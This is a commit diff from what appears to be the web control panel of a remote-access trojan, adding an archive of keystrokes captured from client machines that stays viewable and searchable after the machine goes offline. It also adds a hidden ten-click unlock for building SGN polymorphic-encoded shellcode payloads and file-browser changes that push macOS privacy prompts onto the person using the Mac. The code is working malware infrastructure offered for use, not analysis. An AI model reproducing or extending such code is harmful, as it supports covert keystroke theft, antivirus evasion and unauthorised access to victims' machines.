fix some tele links, add offline keylogger, fix rbac issues with scripting.

This commit is contained in:
KingKDot
2026-06-10 19:54:18 -05:00
parent d6ad2cadea
commit ab58106b85
28 changed files with 1528 additions and 91 deletions
+116
View File
@@ -46,6 +46,7 @@ const platformInputs = document.querySelectorAll('input[name="platform"]');
let currentServerVersion = null;
let currentUserRole = null;
let currentUsername = null;
let showAllBuilds = false;
async function loadServerVersion() {
@@ -1232,7 +1233,9 @@ async function init() {
const data = await res.json();
currentUserRole = data.role;
currentUsername = data.username || null;
usernameDisplay.textContent = data.username;
loadSgnTxtUnlockState();
const roleBadges = {
admin: '<i class="fa-solid fa-crown mr-1"></i>Admin',
@@ -1440,6 +1443,7 @@ form?.addEventListener("submit", async (e) => {
shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
useSgn: document.getElementById("sgn-mode")?.checked || false,
sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
outputSgnTxt: pendingSgnTxtBuild,
uploadToFileShare: pendingUpload,
};
@@ -1498,6 +1502,10 @@ async function startBuild(config) {
buildUploadBtn.disabled = true;
buildUploadBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
}
if (buildSgnTxtBtn) {
buildSgnTxtBtn.disabled = true;
setSgnTxtButtonState("Building TXT...", "fa-solid fa-spinner fa-spin");
}
buildStatus.classList.remove("hidden");
buildStatusText.textContent = "Starting build...";
@@ -1558,7 +1566,12 @@ async function startBuild(config) {
buildUploadBtn.disabled = false;
buildUploadBtn.innerHTML = '<i class="fa-solid fa-cloud-arrow-up"></i> <span>Build & Upload</span>';
}
if (buildSgnTxtBtn) {
buildSgnTxtBtn.disabled = false;
updateSgnTxtLockState();
}
pendingUpload = false;
pendingSgnTxtBuild = false;
}
}
@@ -1947,6 +1960,78 @@ let pendingUpdateAll = false;
let pendingUpdateHideWindow = false;
let pendingUpload = false;
const buildUploadBtn = document.getElementById("build-upload-btn");
let pendingSgnTxtBuild = false;
const buildSgnTxtBtn = document.getElementById("build-sgn-txt-btn");
const buildSgnTxtLockbox = document.getElementById("build-sgn-txt-lockbox");
const SGN_TXT_UNLOCK_CLICKS = 10;
let sgnTxtUnlockClicks = 0;
let sgnTxtUnlocked = false;
function getSgnTxtUnlockStorageKey() {
const userPart = String(currentUsername || "unknown").trim().toLowerCase() || "unknown";
return `overlord_sgn_txt_unlocked:${userPart}`;
}
function loadSgnTxtUnlockState() {
try {
if (localStorage.getItem(getSgnTxtUnlockStorageKey()) === "true") {
sgnTxtUnlockClicks = SGN_TXT_UNLOCK_CLICKS;
sgnTxtUnlocked = true;
}
} catch {}
updateSgnTxtLockState();
}
function saveSgnTxtUnlockState() {
try {
localStorage.setItem(getSgnTxtUnlockStorageKey(), "true");
} catch {}
}
function setSgnTxtButtonState(label, iconClass) {
if (!buildSgnTxtBtn) return;
buildSgnTxtBtn.innerHTML = "";
const icon = document.createElement("i");
icon.className = iconClass;
const text = document.createElement("span");
text.textContent = label;
buildSgnTxtBtn.appendChild(icon);
buildSgnTxtBtn.appendChild(text);
}
function pulseSgnTxtLockbox() {
if (!buildSgnTxtLockbox) return;
buildSgnTxtLockbox.classList.remove("pulse");
void buildSgnTxtLockbox.offsetWidth;
buildSgnTxtLockbox.classList.add("pulse");
}
function updateSgnTxtLockState() {
if (!buildSgnTxtBtn || !buildSgnTxtLockbox) return;
const progress = Math.min(1, Math.max(0, sgnTxtUnlockClicks / SGN_TXT_UNLOCK_CLICKS));
const stageProgress = (start, end) => Math.min(1, Math.max(0, (progress - start) / (end - start)));
const crackProgress = Math.min(1, Math.sqrt(progress) * 1.18);
const midCrackProgress = Math.sqrt(stageProgress(0.18, 0.72));
const lateCrackProgress = Math.sqrt(stageProgress(0.48, 0.95));
buildSgnTxtLockbox.style.setProperty("--sgn-chain-brightness", String(Math.max(0.72, 1 - progress * 0.28)));
buildSgnTxtLockbox.style.setProperty("--sgn-chain-opacity", String(Math.max(0.48, 0.9 - progress * 0.42)));
buildSgnTxtLockbox.style.setProperty("--sgn-crack-opacity", String(Math.max(0, Math.min(1, crackProgress))));
buildSgnTxtLockbox.style.setProperty("--sgn-crack-dash", String(Math.max(0, 1 - crackProgress)));
buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-opacity", String(midCrackProgress * 0.9));
buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-dash", String(Math.max(0, 1 - midCrackProgress)));
buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-opacity", String(lateCrackProgress * 0.95));
buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-dash", String(Math.max(0, 1 - lateCrackProgress)));
buildSgnTxtLockbox.style.setProperty("--sgn-lock-tilt", `${Math.round(progress * 10)}deg`);
buildSgnTxtLockbox.classList.toggle("locked", !sgnTxtUnlocked);
buildSgnTxtLockbox.classList.toggle("unlocked", sgnTxtUnlocked);
if (sgnTxtUnlocked) {
setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines");
return;
}
setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines");
}
updateSgnTxtLockState();
function showUpdateAllModal() {
if (!updateAllModal) return;
@@ -2056,6 +2141,37 @@ if (buildUploadBtn) {
});
}
if (buildSgnTxtBtn) {
buildSgnTxtBtn.addEventListener("click", () => {
if (isBuilding) return;
const sgnEnabled = document.getElementById("sgn-mode")?.checked || false;
if (!sgnTxtUnlocked) {
sgnTxtUnlockClicks += 1;
if (sgnTxtUnlockClicks >= SGN_TXT_UNLOCK_CLICKS) {
sgnTxtUnlocked = true;
saveSgnTxtUnlockState();
updateSgnTxtLockState();
if (window.showToast) window.showToast("SGN TXT build unlocked", "success");
} else {
updateSgnTxtLockState();
}
pulseSgnTxtLockbox();
return;
}
if (!sgnEnabled) {
alert("Enable the SGN Polymorphic Encoding option before building an SGN TXT file.");
return;
}
const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
if (platformCheckboxes.length === 0) {
alert("Please select at least one platform to build");
return;
}
pendingSgnTxtBuild = true;
form.requestSubmit();
});
}
async function pushUpdateToAllClients(buildId, hideWindow) {
addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info");
+56 -34
View File
@@ -32,7 +32,7 @@ const pendingCommandWaiters = new Map();
const VIRTUALIZATION_THRESHOLD = 400;
const VIRTUAL_ROW_HEIGHT = 58;
const VIRTUAL_OVERSCAN = 8;
const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v1`;
const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v2`;
const macPermissionAllowedPaths = new Set(loadMacPermissionAllowedPaths());
let directoryEntries = [];
@@ -377,15 +377,9 @@ function isSameOrChildPath(path, root) {
}
function markMacPermissionAllowed(path) {
const normalized = normalizeMacPath(path);
if (!normalized || normalized === ".") return;
const macStylePath = normalized.startsWith("/Users/") ||
normalized === "/Volumes" ||
normalized.startsWith("/Volumes/") ||
normalized === "/Network" ||
normalized.startsWith("/Network/");
if (detectedOS !== "mac" && !(detectedOS === "" && macStylePath)) return;
macPermissionAllowedPaths.add(normalized);
const risk = macProtectedLocationForPath(path);
if (!risk) return;
macPermissionAllowedPaths.add(risk.cachePath || risk.root || risk.path);
persistMacPermissionAllowedPaths();
}
@@ -397,9 +391,9 @@ function hasMacPermissionAllowedAncestor(path) {
return false;
}
function macPermissionRiskForPath(path) {
function macProtectedLocationForPath(path) {
const normalized = normalizeMacPath(path);
if (!normalized || normalized === "." || hasMacPermissionAllowedAncestor(normalized)) {
if (!normalized || normalized === ".") {
return null;
}
@@ -438,6 +432,13 @@ function macPermissionRiskForPath(path) {
return { ...match, path: normalized, cachePath };
}
function macPermissionRiskForPath(path) {
const risk = macProtectedLocationForPath(path);
if (!risk) return null;
if (hasMacPermissionAllowedAncestor(risk.path)) return null;
return risk;
}
function showMacPermissionWarning(risk, operation) {
return new Promise((resolve) => {
const modal = document.createElement("div");
@@ -448,15 +449,15 @@ function showMacPermissionWarning(risk, operation) {
<div class="w-full max-w-md rounded-lg border border-amber-500/40 bg-slate-900 shadow-2xl">
<div class="px-4 py-3 border-b border-slate-700 flex items-center gap-2">
<i class="fa-solid fa-triangle-exclamation text-amber-300"></i>
<div class="font-semibold text-slate-100">macOS Permission May Appear</div>
<div class="font-semibold text-slate-100">Confirm macOS Access Request</div>
</div>
<div class="px-4 py-4 text-sm text-slate-300 space-y-3">
<p>${escapeHtml(operation)} <span class="font-mono text-slate-100 break-all">${escapeHtml(risk.path)}</span> may ask the person using this Mac to allow access to ${escapeHtml(risk.label)} for this app.</p>
<p class="text-xs text-slate-400">Continue only if they are ready to approve the macOS prompt. This choice is remembered for this browser session.</p>
<p class="text-xs text-slate-400">After you confirm here, the agent will try to open the folder on the Mac so macOS can show its permission prompt there.</p>
</div>
<div class="px-4 py-3 border-t border-slate-700 flex justify-end gap-2">
<button type="button" data-mac-permission-cancel class="px-3 py-2 rounded bg-slate-700 hover:bg-slate-600 text-sm text-slate-100">Cancel</button>
<button type="button" data-mac-permission-continue class="px-3 py-2 rounded bg-amber-500 hover:bg-amber-400 text-sm font-semibold text-slate-950">Continue</button>
<button type="button" data-mac-permission-continue class="px-3 py-2 rounded bg-amber-500 hover:bg-amber-400 text-sm font-semibold text-slate-950">Try Access</button>
</div>
</div>
`;
@@ -490,10 +491,24 @@ async function confirmMacPermissionRisk(path, operation = "access") {
notifyToast("Operation cancelled before macOS permission prompt", "info", 2500);
return false;
}
markMacPermissionAllowed(risk.cachePath || risk.root || risk.path);
return true;
}
function macPermissionLockedDirectory(entry) {
if (!entry || !entry.isDir) return null;
return macPermissionRiskForPath(entry.path);
}
function renderMacPermissionBadge(risk) {
if (!risk) return "";
return `<span class="inline-flex items-center gap-1 ml-1 px-1.5 py-0.5 rounded border border-amber-500/30 bg-amber-500/10 text-[10px] leading-none text-amber-200 flex-shrink-0" title="macOS may ask for permission to access ${escapeHtml(risk.label)}"><i class="fa-solid fa-lock text-[9px]"></i> Needs permission</span>`;
}
function renderMacPermissionFolderIcon(risk) {
if (!risk) return null;
return '<span class="relative inline-flex w-4 h-4 items-center justify-center flex-shrink-0"><i class="fa-solid fa-folder text-slate-500"></i><i class="fa-solid fa-lock absolute -right-1 -bottom-1 text-[8px] text-amber-300"></i></span>';
}
function goHome() {
listFiles(".", ws, { resetHistory: true });
}
@@ -1291,11 +1306,11 @@ function isMacFolderAccessError(msg) {
function renderFileListError(msg) {
const canRequestAccess = isMacFolderAccessError(msg);
const helpText = msg.accessHelp || "macOS blocked this folder. Ask the user to allow access in Privacy & Security, then refresh this folder.";
const helpText = msg.accessHelp || "macOS blocked this folder. Confirm the retry, approve the prompt on the Mac, then refresh if needed.";
const actionHtml = canRequestAccess
? `<div class="mt-4 flex flex-wrap items-center justify-center gap-2">
<button id="request-folder-access-btn" class="button primary text-sm px-4 py-2">
<i class="fa-solid fa-unlock-keyhole"></i> Request Access Again
<i class="fa-solid fa-unlock-keyhole"></i> Try Access Again
</button>
<button id="retry-folder-access-btn" class="button ghost text-sm px-4 py-2">
<i class="fa-solid fa-rotate-right"></i> Retry
@@ -1321,19 +1336,10 @@ function renderFileListError(msg) {
}
}
function requestFolderAccess(path) {
const commandId = `file-access-${Date.now()}`;
send({
type: "command",
commandType: "file_request_access",
id: commandId,
payload: { path: path || currentPath || "." },
});
trackCommandResult(commandId, {
successMessage: "Opened macOS Privacy settings. Ask the user to allow access, then retry.",
errorPrefix: "Access request failed",
});
notifyToast("Asking the Mac to open Privacy settings...", "info", 3500);
async function requestFolderAccess(path) {
const targetPath = path || currentPath || ".";
notifyToast("Trying to open the folder on the Mac...", "info", 3500);
await listFiles(targetPath, ws, { skipHistory: true });
}
function createParentRow(parentPath) {
@@ -1362,18 +1368,25 @@ function createParentRow(parentPath) {
function createFileRow(entry) {
const row = document.createElement("div");
const macPermissionRisk = macPermissionLockedDirectory(entry);
row.className =
"file-item grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors";
"file-item grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors" +
(macPermissionRisk ? " opacity-60 bg-slate-950/30 hover:bg-amber-900/10" : " hover:bg-slate-800/50");
row.dataset.path = entry.path;
row.dataset.isDir = entry.isDir;
if (macPermissionRisk) {
row.dataset.macPermission = "required";
row.title = `macOS may ask the user to allow access to ${macPermissionRisk.label}.`;
}
// Kick off lazy fetches for the row's real icon and (if applicable) its thumbnail.
// Both are throttled + batched; the DOM gets updated when results arrive.
requestIconFor(entry);
if (!entry.isDir) requestThumbFor(entry);
const icon = getFileIcon(entry);
const icon = renderMacPermissionFolderIcon(macPermissionRisk) || getFileIcon(entry);
const badges = renderAttrBadges(entry.attrs);
const macPermissionBadge = renderMacPermissionBadge(macPermissionRisk);
const size = entry.isDir ? "-" : formatBytes(entry.size);
const modTime = new Date(entry.modTime * 1000).toLocaleString();
@@ -1393,6 +1406,7 @@ function createFileRow(entry) {
<span class="truncate">${escapeHtml(entry.name)}</span>
${pinBtn}
${badges}
${macPermissionBadge}
</div>
<div class="col-span-2 text-sm text-slate-400 file-size-col">${size}</div>
<div class="col-span-3 text-sm text-slate-400 file-modified-col">${modTime}</div>
@@ -3103,9 +3117,17 @@ function applyClientInfo(osStr, userName) {
function sidebarItem(icon, label, path, color) {
const active = currentPath && (currentPath === path || currentPath.startsWith(path + "/") || currentPath.startsWith(path + "\\"));
return `<button class="sidebar-item w-full flex items-center gap-3 px-3 py-1.5 rounded-md text-sm text-slate-300 hover:text-white transition-colors text-left${active ? " active" : ""}" data-path="${escapeHtml(path)}">
const macPermissionRisk = macPermissionRiskForPath(path);
const lockHtml = macPermissionRisk
? '<i class="fa-solid fa-lock text-amber-300 text-[10px] flex-shrink-0"></i>'
: "";
const titleAttr = macPermissionRisk
? ` title="macOS may ask the user to allow access to ${escapeHtml(macPermissionRisk.label)}"`
: "";
return `<button class="sidebar-item w-full flex items-center gap-3 px-3 py-1.5 rounded-md text-sm text-slate-300 hover:text-white transition-colors text-left${active ? " active" : ""}${macPermissionRisk ? " opacity-60" : ""}" data-path="${escapeHtml(path)}"${titleAttr}>
<i class="fa-solid ${icon} ${color} w-4 text-center text-xs"></i>
<span class="truncate">${label}</span>
${lockHtml}
</button>`;
}
+113 -1
View File
@@ -49,6 +49,7 @@ let globalSearchCache = new Map();
let globalSearchAbortController = null;
let clientOs = ""; // filled from the "ready" message
let needsPermissionGate = false; // true for darwin/mac clients
let archiveMode = false;
clientLabel.textContent = clientId;
@@ -136,9 +137,16 @@ function handleMessage(msg) {
switch (msg.type) {
case "ready":
archiveMode = msg.clientOnline === false;
clientOs = msg.clientOs || "";
needsPermissionGate = isMacOs(clientOs);
console.log("Keylogger session ready, clientOs:", clientOs, "needsPermissionGate:", needsPermissionGate);
if (archiveMode) {
updateStatus("pill-offline", "Archive");
showFileListPanel();
loadArchiveList();
return;
}
if (needsPermissionGate) {
showPermissionGate();
} else {
@@ -171,7 +179,10 @@ function handleMessage(msg) {
break;
case "status":
if (msg.status === "offline") {
archiveMode = true;
updateStatus("pill-offline", "Client Offline");
showFileListPanel();
loadArchiveList();
}
break;
case "keylog_file_list":
@@ -214,21 +225,61 @@ function handleMessage(msg) {
}
function requestFileList() {
if (archiveMode) {
loadArchiveList();
return;
}
send({ type: "keylog_list" });
}
function requestFileContent(filename) {
if (archiveMode) {
loadArchiveContent(filename);
return;
}
send({ type: "keylog_retrieve", filename });
}
function requestClearAll() {
if (archiveMode) return;
send({ type: "keylog_clear_all" });
}
function requestDeleteFile(filename) {
if (archiveMode) return;
send({ type: "keylog_delete", filename });
}
async function loadArchiveList() {
try {
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive`, { credentials: "include" });
const data = await res.json().catch(() => ({}));
if (!res.ok) throw new Error(data.error || "Failed to load archive");
displayFileList((data.files || []).map((file) => ({ ...file, archived: true })));
} catch (err) {
console.error("Failed to load archived keylogs:", err);
fileList.innerHTML = `
<div class="text-rose-300 text-center py-8">
<i class="fa-solid fa-triangle-exclamation text-4xl mb-2"></i>
<p>Failed to load archived logs</p>
</div>
`;
}
}
async function loadArchiveContent(filename) {
try {
const params = new URLSearchParams({ filename });
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/content?${params.toString()}`, { credentials: "include" });
const data = await res.json().catch(() => ({}));
if (!res.ok) throw new Error(data.error || "Failed to load archived file");
displayFileContent(data.filename || filename, data.content || "");
} catch (err) {
console.error("Failed to load archived keylog:", err);
window.showToast("Failed to load archived log", "error");
}
}
function downloadLog(filename, content) {
const decoded = rot13Decode(content || "");
const blob = new Blob([decoded], { type: "text/plain;charset=utf-8" });
@@ -283,6 +334,12 @@ function displayFileList(files) {
</div>
</div>
<div class="flex items-center gap-2">
${file.archived ? `
<span class="px-2 py-1 rounded bg-yellow-900/30 border border-yellow-700 text-yellow-200 text-xs inline-flex items-center gap-1">
<i class="fa-solid fa-box-archive"></i>
Archive
</span>
` : ""}
<button
class="view-log-btn px-3 py-2 rounded-lg border border-blue-700 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2"
data-filename="${file.name}"
@@ -297,6 +354,7 @@ function displayFileList(files) {
<i class="fa-solid fa-download"></i>
<span>Download</span>
</button>
${archiveMode ? "" : `
<button
class="delete-log-btn px-3 py-2 rounded-lg border border-red-700 bg-red-900/40 hover:bg-red-800/70 text-red-100 flex items-center gap-2"
data-filename="${file.name}"
@@ -304,6 +362,7 @@ function displayFileList(files) {
<i class="fa-solid fa-trash"></i>
<span>Delete</span>
</button>
`}
</div>
</div>
`
@@ -560,6 +619,11 @@ async function performGlobalSearch(query) {
}
globalSearchAbortController = new AbortController();
if (archiveMode) {
await performArchivedGlobalSearch(query);
return;
}
const files = Array.from(fileIndex.values());
const lowerQuery = query.toLowerCase();
const results = [];
@@ -629,7 +693,51 @@ async function performGlobalSearch(query) {
displayGlobalSearchResults(results, query);
}
async function performArchivedGlobalSearch(query) {
globalSearchResults.innerHTML = `
<div class="text-slate-400 text-center py-8">
<i class="fa-solid fa-spinner fa-spin text-4xl mb-2"></i>
<p>Searching archived logs...</p>
</div>
`;
globalSearchStats.classList.remove("hidden");
globalSearchProgress.textContent = "Searching archive...";
globalSearchCount.textContent = "";
try {
const params = new URLSearchParams({ q: query });
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/search?${params.toString()}`, { credentials: "include" });
const data = await res.json().catch(() => ({}));
if (!res.ok) throw new Error(data.error || "Search failed");
displayGlobalSearchResults(data.results || [], query);
} catch (err) {
console.error("Archived search failed:", err);
globalSearchResults.innerHTML = `
<div class="text-rose-300 text-center py-8">
<i class="fa-solid fa-triangle-exclamation text-4xl mb-2"></i>
<p>Archived search failed</p>
</div>
`;
globalSearchProgress.textContent = "Search failed";
globalSearchCount.textContent = "";
}
}
function loadFileContent(filename) {
if (archiveMode) {
return new Promise(async (resolve, reject) => {
try {
const params = new URLSearchParams({ filename });
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/content?${params.toString()}`, { credentials: "include" });
const data = await res.json().catch(() => ({}));
if (!res.ok) throw new Error(data.error || "Failed to load archived file");
resolve(rot13Decode(data.content || ""));
} catch (err) {
reject(err);
}
});
}
return new Promise((resolve, reject) => {
let resolved = false;
const timeout = setTimeout(() => {
@@ -749,10 +857,14 @@ requestPermissionBtn.addEventListener("click", () => {
refreshBtn.addEventListener("click", () => {
requestFileList();
window.showToast("Refreshing file list...", "info");
window.showToast(archiveMode ? "Refreshing archive..." : "Refreshing file list...", "info");
});
clearBtn.addEventListener("click", () => {
if (archiveMode) {
window.showToast("Archived logs are retained by server policy.", "info");
return;
}
if (
confirm(
"Are you sure you want to clear all keylog files? This action cannot be undone."
+8 -3
View File
@@ -371,8 +371,8 @@ function applyMenuSupportRules(clientId) {
const keyloggerSupported = isWindows || platform === "mac";
setAvailability(
keyloggerBtn,
isOnline && keyloggerSupported,
isOnline ? "Keylogger is not supported on this platform." : "Client is offline",
keyloggerSupported,
"Keylogger is not supported on this platform.",
);
const winreBtn = menu.querySelector('[data-open="winre"]');
@@ -400,9 +400,14 @@ function applyMenuSupportRules(clientId) {
setAvailability(silentExecBtn, isOnline, "Client is offline");
}
["remote-access", "monitoring", "system"].forEach(groupId => {
["remote-access", "system"].forEach(groupId => {
setAvailability(menu.querySelector(`[data-group-toggle="${groupId}"]`), isOnline, "Client is offline");
});
setAvailability(
menu.querySelector('[data-group-toggle="monitoring"]'),
isOnline || keyloggerSupported,
keyloggerSupported ? "" : "Client is offline",
);
["ping", "reconnect", "disconnect", "uninstall"].forEach(action => {
setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline");
+87
View File
@@ -39,6 +39,14 @@ const prefDesktopNotificationsInput = document.getElementById("pref-desktop-noti
const prefDesktopNotificationsHint = document.getElementById("pref-desktop-notifications-hint");
const prefRefreshSecondsInput = document.getElementById("pref-refresh-seconds");
const inputArchiveUserForm = document.getElementById("input-archive-user-form");
const inputArchiveMyEnabledInput = document.getElementById("input-archive-my-enabled");
const inputArchiveAdminForm = document.getElementById("input-archive-admin-form");
const inputArchiveGlobalEnabledInput = document.getElementById("input-archive-global-enabled");
const inputArchiveRetentionDaysInput = document.getElementById("input-archive-retention-days");
const inputArchiveMaxFileMbInput = document.getElementById("input-archive-max-file-mb");
const inputArchivePollSecondsInput = document.getElementById("input-archive-poll-seconds");
const myTelegramChatIdInput = document.getElementById("my-telegram-chat-id");
const saveMyTelegramBtn = document.getElementById("save-my-telegram");
@@ -216,6 +224,7 @@ async function renderPermissionsOverview() {
"system:chat",
"system:appearance",
"system:thumbnails",
"system:input-archive",
"system:build-limits",
"system:export-import",
"system:health",
@@ -1236,6 +1245,81 @@ async function loadChatSettings() {
}
}
async function loadInputArchiveSettings() {
try {
const res = await fetch("/api/settings/input-archive", { credentials: "include" });
const data = await res.json().catch(() => ({}));
if (!res.ok) return;
if (inputArchiveMyEnabledInput) inputArchiveMyEnabledInput.checked = !!data.myEnabled;
const cfg = data.inputArchive || {};
if (inputArchiveGlobalEnabledInput) inputArchiveGlobalEnabledInput.checked = !!cfg.enabled;
if (inputArchiveRetentionDaysInput) inputArchiveRetentionDaysInput.value = cfg.retentionDays ?? 7;
if (inputArchiveMaxFileMbInput) inputArchiveMaxFileMbInput.value = Math.max(1, Math.round((Number(cfg.maxFileBytes) || 0) / 1024 / 1024)) || 5;
if (inputArchivePollSecondsInput) inputArchivePollSecondsInput.value = cfg.pollIntervalSeconds ?? 300;
} catch {
console.warn("Failed to load input archive settings");
}
}
async function saveInputArchivePreference(event) {
event.preventDefault();
const res = await fetch("/api/settings/input-archive", {
method: "PUT",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({ myEnabled: !!inputArchiveMyEnabledInput?.checked }),
});
const data = await res.json().catch(() => ({}));
if (!res.ok) {
showMessage(data.error || "Failed to save input archive preference.", "error");
return;
}
showMessage("Input archive preference saved.");
}
async function saveInputArchiveAdminSettings(event) {
event.preventDefault();
if (!requireUiPermission("system:input-archive", "Input archive settings permission required.")) {
return;
}
const retentionDays = Number(inputArchiveRetentionDaysInput?.value);
const maxFileMb = Number(inputArchiveMaxFileMbInput?.value);
const pollIntervalSeconds = Number(inputArchivePollSecondsInput?.value);
if (!Number.isFinite(retentionDays) || retentionDays < 1 || retentionDays > 365) {
showMessage("Archive retention must be 1-365 days.", "error");
return;
}
if (!Number.isFinite(maxFileMb) || maxFileMb < 1 || maxFileMb > 50) {
showMessage("Max file size must be 1-50 MB.", "error");
return;
}
if (!Number.isFinite(pollIntervalSeconds) || pollIntervalSeconds < 0 || pollIntervalSeconds > 86400) {
showMessage("Poll interval must be 0-86400 seconds.", "error");
return;
}
const res = await fetch("/api/settings/input-archive", {
method: "PUT",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({
inputArchive: {
enabled: !!inputArchiveGlobalEnabledInput?.checked,
retentionDays,
maxFileBytes: Math.round(maxFileMb * 1024 * 1024),
pollIntervalSeconds: Math.round(pollIntervalSeconds),
},
}),
});
const data = await res.json().catch(() => ({}));
if (!res.ok) {
showMessage(data.error || "Failed to save input archive settings.", "error");
return;
}
showMessage("Input archive settings saved.");
}
async function saveChatSettings(event) {
event.preventDefault();
if (!requireUiPermission("system:chat", "Team chat settings permission required.")) {
@@ -2308,6 +2392,7 @@ async function init() {
await loadTlsSettings();
await loadAppearanceSettings();
await loadChatSettings();
await loadInputArchiveSettings();
await loadBannedIps();
if (userHas("users:manage")) {
@@ -2357,6 +2442,8 @@ async function init() {
tlsCertbotAutoBtn.addEventListener("click", runCertbotAutoSetup);
if (appearanceForm) appearanceForm.addEventListener("submit", saveAppearanceSettings);
if (chatSettingsForm) chatSettingsForm.addEventListener("submit", saveChatSettings);
if (inputArchiveUserForm) inputArchiveUserForm.addEventListener("submit", saveInputArchivePreference);
if (inputArchiveAdminForm) inputArchiveAdminForm.addEventListener("submit", saveInputArchiveAdminSettings);
if (exportSettingsBtn) exportSettingsBtn.addEventListener("click", exportSettings);
if (importSettingsFile) importSettingsFile.addEventListener("change", importSettings);
refreshBansBtn.addEventListener("click", loadBannedIps);
+192
View File
@@ -37,6 +37,169 @@
.accordion-chevron.rotated {
transform: rotate(-180deg);
}
.sgn-txt-lockbox {
position: relative;
isolation: isolate;
--sgn-chain-brightness: 1;
--sgn-chain-opacity: 0.9;
--sgn-crack-opacity: 0;
--sgn-crack-dash: 1;
--sgn-crack-mid-opacity: 0;
--sgn-crack-mid-dash: 1;
--sgn-crack-late-opacity: 0;
--sgn-crack-late-dash: 1;
--sgn-lock-tilt: 0deg;
border-radius: 8px;
overflow: hidden;
}
.sgn-txt-lockbox::before,
.sgn-txt-lockbox::after {
content: "";
position: absolute;
left: 3px;
top: 50%;
width: calc(100% - 6px);
height: 18px;
border-radius: 999px;
background:
radial-gradient(ellipse 11px 7px at 8px 50%, transparent 4.4px, rgba(148, 163, 184, 0.98) 4.8px 6.7px, transparent 7.1px),
radial-gradient(ellipse 11px 7px at 22px 50%, transparent 4.4px, rgba(148, 163, 184, 0.98) 4.8px 6.7px, transparent 7.1px);
background-size: 28px 18px;
background-repeat: repeat-x;
background-position: center;
box-shadow: none;
opacity: var(--sgn-chain-opacity);
pointer-events: none;
transform-origin: center;
transition: opacity 0.25s ease, filter 0.25s ease;
filter: brightness(var(--sgn-chain-brightness));
z-index: 2;
}
.sgn-txt-lockbox::before {
transform: translateY(-50%) rotate(-8deg);
}
.sgn-txt-lockbox::after {
transform: translateY(-50%) rotate(8deg);
}
.sgn-txt-lockbox.unlocked::before {
opacity: 0;
transform: translateY(-50%) rotate(-8deg);
}
.sgn-txt-lockbox.unlocked::after {
opacity: 0;
transform: translateY(-50%) rotate(8deg);
}
.sgn-txt-cracks {
position: absolute;
inset: 2px 8px;
border-radius: 8px;
pointer-events: none;
opacity: var(--sgn-crack-opacity);
transition: opacity 0.18s ease;
z-index: 4;
}
.sgn-txt-cracks svg {
width: 100%;
height: 100%;
display: block;
overflow: visible;
}
.sgn-txt-cracks path {
fill: none;
stroke-linecap: round;
stroke-linejoin: round;
stroke-dasharray: 1;
stroke-dashoffset: var(--sgn-crack-dash);
transition: stroke-dashoffset 0.18s ease, opacity 0.18s ease;
}
.sgn-txt-cracks .crack-main {
stroke: rgba(248, 250, 252, 0.9);
stroke-width: 1.9;
filter: drop-shadow(0 0 4px rgba(248, 250, 252, 0.45));
}
.sgn-txt-cracks .crack-branch {
stroke: rgba(244, 114, 182, 0.72);
stroke-width: 1.45;
opacity: calc(var(--sgn-crack-opacity) * 0.85);
}
.sgn-txt-cracks .crack-mid {
stroke: rgba(248, 250, 252, 0.76);
stroke-width: 1.25;
stroke-dashoffset: var(--sgn-crack-mid-dash);
opacity: var(--sgn-crack-mid-opacity);
}
.sgn-txt-cracks .crack-late {
stroke: rgba(244, 114, 182, 0.82);
stroke-width: 1.15;
stroke-dashoffset: var(--sgn-crack-late-dash);
opacity: var(--sgn-crack-late-opacity);
}
.sgn-txt-lock {
position: absolute;
left: 50%;
top: 50%;
width: 52px;
height: 52px;
display: inline-flex;
align-items: center;
justify-content: center;
font-size: 1.45rem;
border-radius: 999px;
border: none;
background: transparent;
color: rgb(203, 213, 225);
text-shadow: 0 2px 0 rgba(15, 23, 42, 0.8), 0 0 8px rgba(15, 23, 42, 0.65);
box-shadow: none;
transform: translate(-50%, -50%) rotate(var(--sgn-lock-tilt));
pointer-events: none;
transition: opacity 0.25s ease, transform 0.25s ease;
z-index: 5;
}
.sgn-txt-lockbox.unlocked .sgn-txt-lock {
opacity: 0;
transform: translate(-50%, -50%) scale(0.65) rotate(18deg);
}
.sgn-txt-lockbox.locked #build-sgn-txt-btn {
filter: saturate(0.75);
}
.sgn-txt-lockbox.locked.pulse #build-sgn-txt-btn {
animation: sgnLockPulse 0.18s ease;
}
.sgn-txt-lockbox.locked.pulse::before {
animation: sgnChainPulseA 0.18s ease;
}
.sgn-txt-lockbox.locked.pulse::after {
animation: sgnChainPulseB 0.18s ease;
}
.sgn-txt-lockbox.locked.pulse .sgn-txt-lock {
animation: sgnLockIconPulse 0.18s ease;
}
.sgn-txt-lockbox.locked #build-sgn-txt-btn > * {
opacity: 0;
}
.sgn-txt-lockbox.unlocked .sgn-txt-cracks {
opacity: 0;
}
@keyframes sgnLockPulse {
0%, 100% { transform: translateX(0); }
25% { transform: translateX(-2px); }
75% { transform: translateX(2px); }
}
@keyframes sgnChainPulseA {
0%, 100% { transform: translateY(-50%) rotate(-8deg); }
25% { transform: translate(-2px, -50%) rotate(-8deg); }
